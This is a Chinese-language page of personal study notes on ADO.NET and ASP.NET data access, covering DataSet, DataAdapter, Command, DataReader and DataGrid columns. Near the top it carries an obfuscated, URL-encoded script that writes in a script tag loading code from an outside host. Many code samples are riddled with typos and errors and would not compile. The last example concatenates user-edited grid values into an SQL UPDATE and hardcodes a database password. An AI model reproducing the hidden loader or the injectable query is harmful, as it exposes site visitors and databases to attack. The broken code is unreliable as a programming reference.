ADO.NET概述

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
ADO.NET概述




ADO.NET概述
共享类
DataSet            这个对象包含一组DataTables,以及这些表之间的关系,该对象主要用于断开连接
DataTable          数据的一个容器,DataTable有一个或多个DataColumn组成,每个DataColumu由一个或多个包含数据的DataRow生成
DataRow            许多数值类似与数据库表的一行,或电子数据表的一行
DataColumn         包含列的定义,例如名称和数据类型
DataRelation       DataSet中两个DataTables之间的链接,用于外键码和主从关系
Constraint         为DataColumn(或一组数据列)定义规则,例如唯一值
DataColumuMapping  用DataTable中的列名映射数据库中的列名
DataTableMapping   将数据库中的表名映射到DataSet中的DataTable中
数据库特定的类
SqlCommand,OleDbCommand                 SQL语句的包装或存储过程的调用
SqlCommandBuilder,OleDbCommandBuilder   用于从一个select子句中生成SQL语句(例如插入,更新,删除等)的类
SqlConnection,OleDbConnection           数据库的连接,类似于ADO Connection
SqlDataAdapter,OleDbDataAdpter          用于存储的选择,插入,更新和删除语句的类,因此可以用于生成DataSet和更新Database
SqlDataReader,OleDbDataReader           只向前的连接数据读取器
SqlParameter,OleDbParameter             为存储过程定义一个参数
SqlTransaction,OleDbTransaction         一个数据库处理事务,包装在一个对象中
命令(SqlCommand和OleDbCommand)
ExecuteNonQuery                       执行命令,但不返回任何结果
ExecuteReader                         执行命令,返回一个dataReader
ExecuteScalar                         执行命令,返回一个值
SqlCommand类也提供如下2方法:
ExecuteResultset                      为将来使用而保留
ExecuteXmlReader                      执行命令返回一个XmlReader
DataSet(数据集)
   |
DataTable类
      数据列(DataColumn)                      定义了数据表中某列的属性
      DataColumn属性如下:
            AllowDbNull        如果为true,该列就可以设置为DBNull.
            AutoIncrement      定义自动生成的列值为一个递增的数字.
            AutoIncrementSeed  AutoIncrement列最初的种子值.
            AutoIncrementStep  用默认的步骤定义自动生成列值之间的步骤.
            Caption            可以用于在屏幕上显示列名.
            ColumnMapping      指定当DataSet通过调用DataSet.WriteXml来保存时,列如何映射到XML上.
            DataType           列的System.Type值.
            DefaultValue       可以定义列的默认值.
            Expression         利用该属性可以把列定义为计算列.
    数据行(DataRow对象)
            Current            列中目前存在的值,如果没有进行编辑,该值与初值相同。如果进行了编辑,该值就是最后输入的一个有效值.
            Default            默认值(列的任何默认设置)
            Original           最初从数据库中选出来的列值,如果调用了DataRow的AcceptChanges方法,该值就更新为当前值.
            Proposed           对列进行逐步的修改时,可以检索到这个已改变的值(例如推荐值)。如果在行上调用了BeginEdit()方法,
                               并进行了修改,每一列都会有一个推荐值得,知道调用了EndEdit()或CancelEdit()为止 .
            Added              把新数据行添加到DataTable的Rows集合中,在客户机中创建所有行都设置为这个值,最终在与数据库保持一致时,
                               会使用SQL Insert语句。
            Deleted            表示标记数据行为通过DataRow.Delete()方法已从DataTable中删除。该行仍存在DataTable中,但在屏幕上看不到
                               它(除非显示设置为DataView)。
            Detached           数据行在创建后立即显示为这个状态,调用DataRow.Remove()也可以返回这个状态。分立的行不是任何DataTable的
                               一部分,因此处于这种状态的行不能使用任何SQL语句。
            Modified           如果发生了改变,就会修改这一行数据
            Unchanged          自从最后一次调用AcceptChanges以来,数据行都没有发生改变。
填充数据集
从外部源中读取数据,并插入到DataSet中有两种方式;
 .使用数据适配器
 .把XML读入数据集
>>>使用数据适配器来填充DataSet
 string select=" select ename,deptno from emp";
 SqlConnection conn=new SqlConnection(select);
 SqlDataAdapter da = new SqlDataAdapter(select,conn);
 DataSet ds=new DataSet();
 ds.Fill(ds,"Emp");
>>>在数据适配器上使用存储过程
假如我们的存储过程为:
create or replace procedure RegionSelect as
  set nocoout off;
  select * from Region;
Go
看我们的代码:
private static SqlCommand GenerateSelectCommand(SqlConnection conn)
{
  SqlCommand aCommand = new SqlCommand(" RegionSelect",conn);
  aCommand.CommandType=CommandType.StoredProcedure;
  return aCommand;
}
>>>给XML中的数据集填充数据
除了为给定的DataSet和相关表生成模式外,DataSet还可以读写本机XML中的数据,例如磁盘上的文件,数据流或文本读取器。
要把XML加载到DataSet中,只需要调用一个ReadXML()方法,如下:
 DataSet ds=new DataSet();
 ds.ReadXML(" .//MyData.xml ");
保存对数据集的更改
  通过使用数据适配器进行更新
  编写XML输出结果
>>>通过使用数据适配器进行更新
除了SqlDataAdapter最有可能包含的SelectCommand之外,还可以定义InsertCommand,UpdateCommand和DeleteCommand。顾名思义
这些对象都是OleDbDataAdapter的SQLCommand或OleDbCommand实例,所以这些命令都可以是SQL或存储过程。
(1)插入一个新行
把新行添加到DataTable中有两种方式。第一种方式是调用NewRow()函数,返回一个空行,然后向其填充数据,最后把它添加到Rows
集合中,如下:
 DataRow r=ds.Tables["Region"].NewRow();
 r["RegionID"]=999;
 r["RegionDescription"]="North West"];
 ds.Tables["Region"].Rows.Add(r);
第二种方式是把一组数据传送给Rows.Add()方法,如下;
 DataRow r=ds.Tables["Region"].Rows.Add(new Object[]{999,"North West"}]};
DataTable中每个新行都把自己的RowState设置为Added,在对数据库进行每个修改前,这个示例把记录清空,这样,在把下面
的行添加到DataTable中(以任何一中方式)之后,应如下所示:
==>>查看.NET数据<<==
亲密接触ASP.Net
000125 数据验证
000155 数据库访问
DataBind技术
DataBind是一种全新的技术,通过它可以将程序中的执行数据与页面中的属性,集合,表达式以及函数结果“绑定”(binding)
在一起。换句话说,只要程序中相应的数据发生变化,那么与这些数据“绑定”在一起的属性,集合,表达式以及函数结果
的值就会随之发生改变。
DataBind的用法:
 .绑定属性:<%#Property%>
 .绑定集合:<asp:DataGrid id="dg" DataSource="<%#MyDataView%>" runat="server"/>
 .绑定表达式:<%# Container.DataItem%>
 .绑定函数结果:<% GetForm(user)%>
可以看出<% %>和<%# %>非常相似,虽然样子相似但是功能却差远了。<% %>之间的代码会被直接执行,而<%# %>之间包含
的代码,仅仅在DataBind()方法调用后,才会被执行。Page以及所有的Server控件都有DataBind方法。
对于Page及集合控件,如Panel,PalaceHolder,当在父容器中调用DataBind,那么此容器中的所有子项都会被“连累”,这
些子项都会被程序绑定,比如,当调用Page.DataBind()(或者仅仅使用DataBind())时,页面中所有的表达式都将同时与
相应的数据绑定。
已经看到000158
548 c#高级编程
不是每个集合都能与控件的属性绑定,绑定的集合必须支持Connection接口,满足条件的集合有DataReader(数据访问器),
ArrayList(数组列表),DataView(数据视图),HashTable(哈希表)。
 
                      -----------------ADO.NET----------------------
ADO.Net使用Connection对象来连接数据库系统,使用Command或DataAdapter对象来执行SQL语句,并将执行的结果返回给
DataReader或DataAdapter,然后再使用取得的DataReader或Adapter对象操作数据结果。
Connection,Command,DataAdapter这三种基本对象可以分为两大类:一类为OLEDB所用,另一类为SQL Server数据库系统专
用。因此就出现了OleDbConnnection,OleDbCommand,OleDbAdapterCommand与SqlConnection,SqlCommand,SqlDataAdapter
两大类不同的数据库操作对象。多数情况下,这两类方法基乎完全相同。一般情况下最好使用OLEDB这一类操作方法,因为
可以保证程序的兼容性。
   Connection对象
操作数据库,首先是与数据库系统取得连接。ADO.Net连接数据库的对象是Connection。建立一个Connection对象的代码是:
OLEDB:
OleDbConnection MyConnection=new OleDbConnection();
SQL:
SqlConnection MyConnection=new SqlConnection();
OleDbConnection与SqlConnection在方法及属性几乎是一致的。
 .ConnectionString属性:获取或设置连接语句。
 .DataBase属性:获得当前打开数据库。
 .DataSource属性:获取打开数据库连接实例。
 .Open方法:打开连接。
 .Close方法:关闭连接。
OleDbConnection与SqlConnection在使用方法虽然是一样的,但是联结语句的写法则并非相同。
 1.OleDbConnection连接语句
先看实例:
 Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c://DataBase//db1.mdb;
这是一个最简单的连接语句,它包含了OleDbConnection两个最基本的属性Provider与Data Source。
 **Provider:设置OLEDB的提供者,本例中使用的是Microsoft.Jet.OLEDB.4.0,表示的是数据库为Access。常用的Provider
 有MSDAORA(Oracle数据库)与SQLOLEDB(SQL Server数据库)。
 **Data Source:指定数据源。这个设定依赖于不同的Provider,本例中其值指向Access数据库文件,而在使用SQLOLEDB时
 则指向SQL Server服务器地址。
 **当然在连接语句中可以加入其他初始信息,如Integrated Security等。
 2.SqlConnection连接语句
 看看SqlConnection语句连接实例:
 server=(local);database=aspcn;Trsted_Connection=yes
 **Server: 设置SQL Server服务器地址。
 **DataBase: 设置访问的SQL Server系统中的数据库。
 **Trusted_Connection:确定连接是否采用安全连接方式。它的取值有三个:true,false,sspi(它的作用等于true),默认
 值为false。
  Command与DataReader对象
Command对象中包含了提交给数据库系统的访问信息。
OleDbCommand与SqlCommand对象,它们的基本对象与操作方法是相同的,在此仅介绍OleDbCommand的用法,SqlCommand的用
法类推即可。最常用初始化Command对象的方法是在建立Command实例中带入两个参数,如:
OleDbCommand myComm=new OleDbCommand(strQuery,myConnecion);
第一参数为SQL语句或存储过程名,第二参数是前面建立的Connection对象实例。
Command对象主要的属性和方法有:
 **Connection属性: 设置或获取Command对象使用的Connection对象实例,
 **CommandText属性: 设置或获取需要执行的SQL语句或存储过程名,
 **CommandType属性: 设置或获取执行语句的类型,它有三个属性值:StoredProceduce(存储过程),TableDirect,Text(标准
                    SQL语句),默认值为Text,
 **ExecuteReader方法: 执行CommandText指定的SQL语句或存储过程名,返回类型为DataReader
 **ExecuteNonQuery方法: 与ExecuteReader功能相同,只是返回值为执行SQL语句或存储过程受影响的记录行数。
通过操作Command对象的这些属性和方法,遍能自如的操作数据库中的数据。只需要向Command对象传递Insert,Update,
Delete语句,便能轻松地完成添加,更新,删除等操作。那么此时就需要DataReader对象来存储数据库返回的记录集。
DataReader与其他对象一样分为SqlDataReader与OleDbDataReader,两者的用法基本上是相同。
DataReader的主要属性和方法有:
 .FiledCount属性: 显示当前操作记录的字段总和。
 .IsClosed属性:   判断DataReader对象是否已经关闭。
 .Close方法:      关闭DataReader对象。
 .GetString方法:  以String类型返回值指定列中的值。
 .GetValue方法:   以自身的类型返回指定列中的值。
 .getValues方法:  返回当前记录所有字段的集合。
 .Read方法:       将”光标“指向DataReader对象的下一记录。
000168看到这里了
=====DataSet 与 DataAdapter=====
DataReader对象只能实现对数据的读取,不能够完成其他的操作,它的功能显得过于简单。想必学习过ASP的朋友开始怀念ADO
中的RecordSet对象。ADO中的RecordSet对象不仅能够读取数据,并且还能读取的同时执行更新,删除,插入操作。
其实在ADO.Net中,Microsoft提供了一款功能更强大的数据操作对象-DataSet。
Dataset虽然拥有着类似数据库的结构,但是它不等同与数据库。首先DataSet不仅可以存储来自数据库的数据,而且还可以存储
其他格式的数据,最常见的是XML格式文档:其次DataSet与数据库之间并没有直接的联系,操作DataSet并不以为着数据库中的
数据也会改变,在DataSet中执行删除,更新等操作,影响的仅仅是DataSet中存储的数据,并不会在数据库上执行相同的操作,
DataSet在这一点上与ASP中的RecordSet是不同的。
     1.查询数据
将到DataSet的数据库应用,先得了解ADO.Net中的另一个对象DataAdapter,与其他的ADO.Net对象一样,它分为SqlDataAdapter
和OleDbDataAdapter两类。
DataAdapter在数据库应用中是与DataSet配套使用的,当一个DataAdapter对象赋予相应的连接以及SQL语句时,此连接就会自动
打开,SQL语句也将同时进行。DataAdapter可以分别执行查询,更新,删除SQL语句,这是Command对象所不能比的。
 建立DataAdapter:
 OleDbDataAdapter MyAdapter = new OleDbAdapter();

 SqlDataAdapter MyAdapter = new SqlDataAdapter();
取得的DataAdapter对象时必须赋予一个连接对象:
 MyAdapter.SelectCommand.Connection = MyConn;

 MyAdapter.UpdateCommand.Connection = MyConn;

 MyAdapter.DeleteCommand.Connection = Myconn;

 MyAdapter.InsertCommand.Connection = Myconn;
如果需要执行SQL语句,那么还必须给相应的CommandText属性赋值。如:
 MyAdapter.SelectCommand.CommandText = strSelect;

 MyAdapter.UpdateCommand.CommandText = strSelect;
一个完整实例代码为:
DataSelect.aspx
 <%@ page Language=" c# " %>
 <%@ import Namespace=" System.Data " %>
 <%@ import Namespace=" System.Data.OleDb " %>
 <script Language= " c# " Runat=" server ">
 public void Page_Load(Object src,EventArgs e)
 {
   //连接语句
   string MyConnString=" ";
   string strSel=" select * from emp";
 
   //建立一个DataSet实例
   DataSet ds = new DataSet();
   OleDbConnection MyConn = new OleDbConnection(MyConnString);
   OleDbDataAdapter MyAdapter = new OleDbDataAdapter(strSel,MyConn);
   MyAdapter.Fill(ds,"Score");
   score.DataSource = ds.Tables["Score"].DefaultView;
   score.DataBind();
 }
 </script>
 <html>
 <head>
 <title>演示我的DataAdapter用法</title>
 </head>
 <body>
 <form runat="server>
 <b>演示DataSet</b>
 <asp:DataGrid id="score" runat="server" HeaderStyle-BackColor="#aaaaaa" AlternatingItemStyle-BackColor="#eeee"/>
 </form>
 </body>
 </html>
将DataAdapter与DataSet相联系的是DataAdapter对象的Fill方法。
Fill方法的主要作用便是将数据源中相应的数据导入DataSet,它有很多种方法。当Fill方法只带有一个DataSet类参数时:
 MyAdatper.Fill(DataSet);
Fill方法将数据源中的数据导入DataSet中,并且导入的数据表(Data Table)的名字为"Table"。这是Fill的最简单用法。但是
很多时候会带来不便。前面我们已经知道DataSet可以存储多个表,如果多次使用Fill方法,那么DataSet中数据表名均为"Table"
,这显然是不可能的。Fill的另一种使用方法则还可以带上另外一个String类参数,这个新参数便是用于设置导入数据表的表名。
 MyAdapter.Fill(DataSet,TableName);
有时并不需要将整个查询数据都导入DataSet,真正需要的只是数据的一部分。Fill的另外一种方法可以满足这种需求:
 MyAdapter.Fill(DataSet,StartRow,RowsCount,TableName);
可以看到这种使用方法中由多处两个整型参数StartRow与RowsCount,它们表示将数据源中从StartRow位置取出RowsCount条记录
导入DataSet。得到数据后,程序还得将DataSet中的数据显示出来。本例使用DataBind方法将DataSet绑定至DataGrid控件显示:
 score.DataSource = ds.Table["Score"].DefaultView;
 score.DataBind();
编写这一步时,犯一个错误是将DataSet直接与DataGrid等控件绑定。
 //错误
 score.DataSource = ds;
 score.DataBind();
前面已经说明被绑定的必须是支持Collection接口的集合,DataSet并不支持类集合,所以不能将DataSet直接绑定。通常的做法
是将ds中指定的数据表的默认视图(DefaultView)与相应的控件绑定。使用默认视图的优点在于它支持视图中排序(sort),
筛选(Filter)及查询等操作。有时候不小心真写成上面的样子,也不用担心,程序只需要再给DataGrid控件指定一个DataMember
属性即可。
 socre.DataSource = ds;
 socre.DataMemeber = " Score" ;
 score.DataBind();
当定义DataMemeber后,ASP.Net将自动调用数据表的默认视图.
提示---> DataSet中的各种集合,访问其子项均有两种访问方法,其一是使用子项名,其二是直接使用数字索引,比如要访问
         DataSet中的表"Score",可以使用 DataSet.Tables[" Score "]访问,也可以使用DataSet.Tables[0]访问(如果DataSet
         中只有一张数据表,多张数据表时依次类推)
     2.插入数据
DataSet的结果与数据库的相似,因此插入数据实质就是在DataSet的数据表中添加一条新的数据行(DataRow)。理解这个后,插入
数据便是一件很简单的事情。
 //新建一个数据行
 DataRow dr = ds.Table[" Score "].NewRow();
 dr[ " Name " ] = " 飞扬 " ;
 dr[ " Class " ] = "201 " ;
 dr[ " Chinese" ] = " 0 " ;
 dr[ " Math " ] = "120 " ;
 dr[ " English " ] = "130 " ;
 //将新建立的数据行加如到DataTable的DataRow集合中去
 ds.Table["Score"].Rows.Add(dr);
插入的步骤很简单,首先使用DataTable的NewRow()方法产生一个新的数据行(DataRow),然后给这个数据行的个列(字段)赋值,
最后将这个数据添加至DataTable的Rows集合中去,从而完成插入操作。正如前面所说这里的插入操作仅仅是在DataSet中得到
执行,并不会影响数据库中的数据。如果需要将DataSet中数据的改变作用与数据库中的数据,那么就需要使用DataAdapter的
Update方法。
Update的使用方法也有很多种。
只带一个DataSet参数时:
 DataAdapter.Update(DataSet);
ASP.Net将比较DataAdapter所打开的表与DataSet中相应的表的改变,然后在数据库中执行插入,删除,修改等操作,最终返回
这些操作所影响的数据行总数。
如果在使用Fill方法时给DataSet中的数据库进行了命名,在使用Update时,最好还是要加上一个string类型参数,以指定
DataSet需要更新的数据表名。如下:
 DataAdapter.Update(DataSet,TableName);
    3.更新数据
更新DataSet数据,实质是在DataSet相应的数据行上直接修改数据。
 //取出地狱行
 DataRow dr = ds.Tables["Score"].Row[0];
 dr[" Name "] = "飞扬";
 dr["Class"]="201";
 dr["Chinese"]="0";
如果需要更新数据库中的数据,则再调用Updata方法。
  
   4.删除数据
删除数据,实质是找到响应的数据行,然后将其再删除。
 //找到需要删除的行
 DataRow dr = ds.Table["Score"].Row[0];
 dr.Delete();
如果需要影响数据库中的数据,则再调用Update方法。
看下面这个结合DataSet查询,删除,插入,更新操作的例子。
-----DataSetOpera.aspx-----
 <%@ page Language=" c# " %>
 <%@ import Namespace=" System.Data " %>
 <%@ import Namespace=" System.Data.OleDb " %>
 <script Language= " c# " Runat=" server ">
 public void Page_Load(Object src,EventArgs e)
 {
   //连接语句
   string MyConnString=" ";
   string strSel=" select * from emp ";
   DataSet ds = new DataSet();
  OleDbConnection MyConn = new OleDbConnection(MyConnString);
  OleDbDataApdapter MyAdapter = new OleDbDataAdapter(strSel,MyConn);
  OleDBcommandBuilder custCB = new OleDbCommandBuilder(MyAdapter);
  MyAdapter.Fill(ds,"score");
 
  Orign.DataSource = ds;
  Orign.DataMember = " Score" ;
  Orign.DataBind();
 
  //插入新的一行
  DataRow dr = ds.Tables[" Score"].NewRow();
  dr[" Name "] = "飞扬";
  dr["Class"]="201";
  dr["Chinese"]="0";
  //更新第二行
  dr = ds.Tables["Score"].Row[1];
  dr["Chinese"] = 100;
  dr["Math"] = 120;
  ........
 
  //删除第三行
  ds.Tables["Score"].Rows[2].Delete();
  //影响数据库执行Update
  MyAdaper.Update(ds,"Score");
 
  New.DataSource = ds;
  New.DataMember =" Score";
  New.DataBind();
 }
 </script>
 <html>
 <head>
 <title>演示我的DataAdapter用法</title>
 </head>
 <body>
 <form runat="server>
 <b>演示DataSet的各项操作:</b><br>
操作前:
 <asp:DataGrid id="Orign" runat="server" HeaderStyle-BackColor="#aaaaaa" AlternatingItemStyle-BackColor="#eeee"/>
操作后:
<asp:DataGrid id="New" runat="server" HeaderStyle-BackColor="#aaaaaa" AlternatingItemStyle-BackColor="#eeee"/>
 </form>
 </body>
 </html>
本例需要注意的是:
 OleDbCommandBuilder custCB = new OleDbCommandBuilder(MyAdapter);
中的CommandBuilder对象。
DataAdapter对象在数据发生改变时,并不能自动产生数据库系统所需要的交易SQL(Transact-SQL)语句,如果不使用
CommandBuilder而使用Update方法,这是不会成功的。而CommandBuilder对象却能为单个表的数据改变而自动产生交易SQL语句。
   5. DataSet的其他特性
DataSet,DataTable及DataRow都有一个十分有用的方法-RejectChanges,顾名思义,RejectChanges是操作对象拒绝已经发生的
改变,将对象数据复原。该方法与AcceptChanges,HasErrors等属性方法连用是非常有用的。通过这些组合可以控制DataSet中
数据的改变,保证不会发生不希望的错误。
     >>>>>数据 Web 控件<<<<<<
ASP.Net提供了三个数据处理专用Web控件,它们是:
 .DatGrid控件
 .Repeater控件
 .DataList控件
 DataGrid控件
 DataGrid是使用频率最高的一个Server控件,它的作用非常重要,是三个数据控件中功能最强大一个。它将数据源中的数据
以表格(Table)的样式显示出来,DataGrid的每一行均用于显示数据源中的一条记录。同时,DataGrid控件还提供了查询,排序
,编辑等功能。
DataGrid控件的定义:
 <asp:DataGrid id=" DataGridName " runat=" server " />
这是它最基本的用法,默认情况下,DataGrid控件的属性AutoGenerateColumns,其作用为设定(或获取)DataGrid控件是否可以自
动产生列(Columns),它的默认值是"true",意味着DataGrid是可以自动产生列,如同程序DataSetOpera.aspx所示,DataGrid控件
将DataSet数据的字段全部以列的样式显示出来。
通常,使用DataGird控件并不需要把所有的字段都显示出来。如在显示用户信息时,作为系统的一般用户不能看到其他人保存
在数据库中的密码,如果不对AutoGenerateColumns属性进行修改,DataGrid控件将会显示数据源中所有的字段及相应的字段值
(其中便包括了存储秘密的字段)。因此DataGrid必须有能力让用户自定义需要显示的字段。同样,在某些条件下,程序需要在
DataGrid控件中显示某个数据源以外的内容,比如操作按钮,超级连接等,这时也需要实现DataGrid控件字段名的自定义。
要实现字段的自定义,首先便是要将AutoGenerateColumns属性设置为false。
 DataGrid控件提供了列(Columns)的五种类型供选择:
 ~BoundColumn
 ~ButtonColumn
 ~EditCommandColumn
 ~HyperLinkColumn
 
 1.BoundColumn
BoundColmn是最常见的类类型,DataGrid自动产生的列类型(AutoGenerateColumns属性为"true"时)便是BoundColumn。从前面的
例子可以看到,BoundColumn的显示样式是最基本的文本。
下面介绍如何通过BoundColumn来控制字段的输出显示。
  首先,需要将AutoGenerateColumn的属性设置为"False",表示DataGrid控件的列自定义产生。
  接下来便要设定符合需要的BoundColumn。代码如下:
<asp:DataGrid id="score" runat="server" HeadStyle-BackColor="#aaaadd" AlternatingItemStyle-BackColor="#eeeeee"
 AutoGenerateColumns="False">
 <Columns>
  <asp:BuondColumn HeaderText="姓名" DataFiled="Name" />
  <asp:BuondColumn HeaderText="语文" DataFiled="Chinese" />
  <asp:BuondColumn HeaderText="数学" DataFiled="Math" />
  <asp:BuondColumn HeaderText="英语" DataFiled="English" />
 </Columns>
</asp:DataGrid>
上述代码定义了4个BoundColumn类型。
自定义列类型时,所有的列类型必须放在<Columns></Columns>标签之内。
BoundColumn的定义格式是:
 <asp:BoundColumn HeaderText=" showText" DataFiled="FiledNmae"/>
BoundColumn的DataFiled属性用于设定数据源中需要显示的字段名,HeaderText属性用户设定该类显示的标头,如果省略那么
HeaderText的值为数据源中的字段名。
 2.HyperLinkColumn
需要在DataGrid控件中显示超级链接,既在DataGrid控件中插入HyperLink控件,显然此时BoundColumn已经不能胜任这个任务
了。ASP.Net便设计了HyperLinkColumn,通过它可以建立超级链接和数据源之间的关系。如下:
 <asp:DataGrid id="score" runat="server" HeaderStyle-BackColoe="#aaaadd" AutoGenerateColumn="false">
 <Columns>
  <asp:TyperLinkColumn HeaderText="姓名" DataTextFiled=" Name " DataNavigateUrlFiled="Name"
                                                        DataNavigateUrlFormatString="ShowMore.asp?name={0}"/>
  <asp:BuondColumn HeaderText="语文" DataFiled="Chinese" />
  <asp:BuondColumn HeaderText="数学" DataFiled="Math" />
  <asp:BuondColumn HeaderText="英语" DataFiled="English" />
 </Columns>
 </asp:DataGrid>
在HyperLinkColumn列类型中,DataTextFiled属性用户设置链接显示的数据源字段,如果显示文字不能与数据源有联系,则可以
使用Text属性直接设置。
DataNavigateUrlField与DataNavigateUrlFormatString属性是共同使用的,前者用于设置与链接地址有关的数据源字段,后者则
是设置链接地址,起属性值中{0}表示在此插入DataNavigateUrlFiled设置的字段值。
  3.ButtonColumn
DataGird也可插入Button类控件,此时用到的列类型为ButtonColumn。使用ButtonColumn的优点是Button类控件所支持的事件处理
,这样程序便可以对特定事件进行处理。
---DataGridButtonColumn.aspx---
 <%@ page Language=" c# " %>
 <%@ import Namespace=" System.Data " %>
 <%@ import Namespace=" System.Data.OleDb " %>
 <script Language= " c# " Runat=" server ">
 public void Page_Load(Object src,EventArgs e)
 {
   //连接语句
   string MyConnString=" ";
   string strSel=" select * from emp ";
   DataSet ds = new DataSet();
  OleDbConnection MyConn = new OleDbConnection(MyConnString);
  OleDbDataApdapter MyAdapter = new OleDbDataAdapter(strSel,MyConn);
  MyAdapter.Fill(ds,"Score");
  score.DataSource = ds;
  score.DataMember = " Score";
  score.DataBind();
 }
 public void DataGird_ItemCommand(Object sender,DataGridCommandEventArgs e)
 {
  //获取被操作的那一行
  TableRow tr = e.Item;
  //获取每个TableCell的数据
  lblName.Text = tr.Cells[1].Text;
  lblChinese.Text = tr.Cells[2].Text;
  lblMath.Text = tr.Cells[3].Text;
  lblEnglish.Text = tr.Cells[4].Text;
 }
 </script>
 <html>
 <head>
 <title>演示我的ButtonColumn</title>
 </head>
 <body>
 <form runat="server>
 <b>演示DataSet的各项操作:</b><br>
操作前:
 <asp:DataGrid id="score" runat="server" HeaderStyle-BackColor="#aaaaaa" AlternatingItemStyle-BackColor="#eeee"
 AtuoGenrateColumns="false" OnItemCommand="DataGrid_ItemCommand">
 <Columns>
  <asp:ButtonColumn HeaderText="操作区" Text="显示详细信息"/>
  <asp:BuondColumn HeaderText="姓名" DataFiled="Name" />
  <asp:BuondColumn HeaderText="语文" DataFiled="Chinese" />
  <asp:BuondColumn HeaderText="数学" DataFiled="Math" />
  <asp:BuondColumn HeaderText="英语" DataFiled="English" />
 </Columns>
 </form>
 </body>
 </html>
ButonColumn列类型虽然插入的是Button类控件,但是读者不可想当然的以为ButtonColumn的事件的激发也是通过OnClick。这样
做的后果只能是得到一大堆错误信息。ButtonColumn的事件激发是通过DataGrid中的OnItemCommand事件,可以在本例中看到它
的使用发。
 本例中,通过OnItemCommand方法,程序将ButtonColumn中的Button类的单击事件交给DataGrid_ItemCommand进行处理。如下:
 public void DataGrid_ItemCommand(Object sender,DataGridCommandEventArgs e)
 {
  //获取被操作的那一行
  TableRow tr = e.Item;
  //获取每个TableCell的数据
  lblName.Text = tr.Cells[1].Text;
  lblChinese.Text = tr.Cells[2].Text;
  lblMath.Text = tr.Cells[3].Text;
  lblEnglish.Text = tr.Cells[4].Text;
 }
这里使用了DataGrid特定的事件数据类-DataGridCommandEventArgs。e.Item表示DataGrid控件中激发事件的表格行。
 lblName.Text = tr.Cells[1].Text;
这段代码表示获取行中的第而个单元格中的文字。
提示----->>> 每个表格行中包含一个或多个单元格(Cell),而每个单元格中又可能包含一个或多个控件。这种结构关系在DataGrid
控件的应用中是非常重要的。
默认情况下,ButtonColumn插入的控件是LinkButton,如果要使用真正的Button控件可以将ButtonType属性设置为PushButton。
  4.EditCommandColumn
DataGird 除了显示数据的功能外,还有编辑功能。它的编辑功能是通过EditCommandColumn来完成的。DataGrid编辑功能的应用
相对比较复杂,先来个感性认识吧。
---DataGridEditCommandColumn.aspx--
看到了000191
完整实例:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="DataGridEditCommandColumn.aspx.cs" Inherits="DataGridEditCommandColumn" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd
">
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.OleDb" %>
<script language="c#" runat="Server">
    OleDbConnection MyConn;
    public void Page_Load(Object src, EventArgs e)
    {
       //连接语句
        string MyConnString = "Provider=OraOLEDB.Oracle.1;Persist Security Info=True;User ID=scott;Password=ss;Data Source=orcl";
        MyConn = new OleDbConnection(MyConnString);
        MyConn.Open();
        if (!Page.IsPostBack)
        {
            //绑定数据
            BindGrid();
        }
    }
    //接口
    ICollection CreateTable()
    {
        string strSel = "select * from Score";
        DataSet ds = new DataSet();
        OleDbDataAdapter MyAdapter = new OleDbDataAdapter(strSel, MyConn);
        MyAdapter.Fill(ds, "Score");
        return ds.Tables["Score"].DefaultView;
    }
   
    public void BindGrid()
    {
        score.DataSource = CreateTable();
        score.DataBind();
    }
    //处理Edit命令
    public void DataGrid_EditCommand(Object sender,DataGridCommandEventArgs e)
    {
        score.EditItemIndex = (int)e.Item.ItemIndex;
        BindGrid();
    }
    //处理Cancel命令
    public void DataGrid_CancelCommand(Object sender, DataGridCommandEventArgs e)
    {
        score.EditItemIndex = -1;
        BindGrid();
    }
    //处理update命令
    public void DataGrid_UpdateCommand(Object sender, DataGridCommandEventArgs e)
    {
        //更新数据库中的信息
        string strName = e.Item.Cells[1].Text;
        int intChinese = Int32.Parse(((TextBox)e.Item.Cells[2].Controls[0]).Text);
        int intMath = Int32.Parse(((TextBox)e.Item.Cells[3].Controls[0]).Text);
        int intEnglish = Int32.Parse(((TextBox)e.Item.Cells[4].Controls[0]).Text);
       
        //更新数据库中的数据
        string strUpdate = "Update Score Set Chinese=" + intChinese + ",Math=" + intMath + ",English=" + intEnglish + "where Name='" + strName + "'";
        OleDbCommand MyComm = new OleDbCommand(strUpdate, MyConn);
        MyComm.ExecuteNonQuery();
        score.EditItemIndex = -1;
        BindGrid();
    }
</script>
<html xmlns="
http://www.w3.org/1999/xhtml
" >
<head runat="server">
    <title>无标题页</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    <asp:DataGrid ID="score" HeaderStyle-BackColor="#aaaadd" AlternatingItemStyle-BackColor="#eeeeee"
    AutoGenerateColumns="false" OnEditCommand="DataGrid_EditCommand" OnUpdateCommand="DataGrid_UpdateCommand"
     OnCancelCommand="DataGrid_CancelCommand"  runat="server">
     <Columns>
       <asp:EditCommandColumn HeaderText="操作" EditText="编辑" UpdateText="更新" CancelText="取消" ButtonType="PushButton"/>
       <asp:BoundColumn HeaderText="姓名" DataField="Name" ReadOnly="true"/>
       <asp:BoundColumn HeaderText="语文" DataField="Chinese" />
       <asp:BoundColumn HeaderText="数学" DataField="Math" />
       <asp:BoundColumn HeaderText="英语" DataField="English" />
     </Columns>
    </asp:DataGrid>
    </div>
    </form>
</body>
</html>
----〉〉〉注意:默认的按钮类型是LinkButton,本例通过设置ButtonType的属性值(设置为PushButton),将按钮变成标准的Button控件。
     当响应的按钮被单击后,相应的时间被击发,OnEditCommand,OnUpdateCommand,OnCancelCommand这些方法便将激发的时间交给相应
的代码进行处理。代码如下:
    OnEditCommand="DataGrid_EditCommand"
    OnUpdateCommand="DataGrid_UpdateCommand"
    OnCancelCommand="DataGrid_CancelCommand"
本例中,编辑按钮单击事件是交由函数DataGrid_EditCommand来进行处理的。代码如下:
 public void DataGrid_EditCommand(Object sender,DataGridCommandEventArgs e)
 {
   score.EiditItemIndex = (int)e.Item.ItemIndex;
   BindGrid();
 }
e.Item.ItemIndex将获得激发事件表格行的索引值,然后将这个索引值赋给DataGrid控件的EditItemIndex属性。EditItemIndex属性的重要
